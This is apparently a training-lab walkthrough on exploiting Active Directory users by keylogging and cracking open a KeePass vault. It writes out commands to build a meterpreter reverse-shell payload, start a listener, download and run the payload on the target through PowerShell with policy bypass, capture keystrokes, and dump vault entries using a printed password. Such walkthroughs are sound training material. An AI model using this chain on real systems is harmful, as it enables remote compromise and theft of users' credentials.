Exploiting AD users

Users are, unfortunately, often the weakest link in the security chain. Just think about weak passwords and bad habits, such as granting overly permissive permissions. It would be ignorant and ineffective to overlook this attack surface:

  • Credential Management - How users store their credentials. In AD, this is quite important since users may have multiple sets of credentials and remembering all of them can be a hassle.

  • Keylogging - Often, during exploitation, we need to understand how normal users interact with a system. Together with screengrabs, keylogging can be a useful tool to gain this understanding from an attacker’s perspective.

Using our WinRM shell from Kerberos delegation, we do some post-exploit enumeration and come across a .kdbx file in C:\Users\trevor.local\Documents. It’s likely a password vault that’s been encrypted with a strong password.


Generate a meterpreter payload:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST= LPORT=443 -f psh -o pwn.ps1

Start a listener:

sudo msfconsole

msf6> use exploit/multi/handler
msf6> set payload windows/x64/meterpreter_reverse_tcp
msf6> set LHOST kali-vpn-ip
msf6> set LPORT 443
msf6> run

Transfer the payload to the target

Start a Python web server on Kali:

sudo python3 -m http.server 80

Download the file onto THMSERVER1 via the WinRM session and execute it:

powershell.exe -ep bypass

Create a web client object:

$wc = New-Object Net.WebClient

Download pwn.ps1 from Kali and save it in the current directory:

$wc. DownloadFile('', "$PWD\pwn.ps1")

Start the keylogger

meterpreter > keyscan_start

Dump captured keystrokes

meterpreter > keyscan_dump

Stop the keylogger

meterpreter > keyscan_stop

Get flag

sudo apt install -y kpcli

# Password is: Imreallysurenoonewillguessmypassword
kpcli:/> open PasswordDatabase.kdbx
kpcli:/> ls
kpcli:/> ls PasswordDatabase/*
kpcli:/> show -f -a PasswordDatabase/General/Flag


kpcli:/> show -f -a PasswordDatabase/General/svcServMan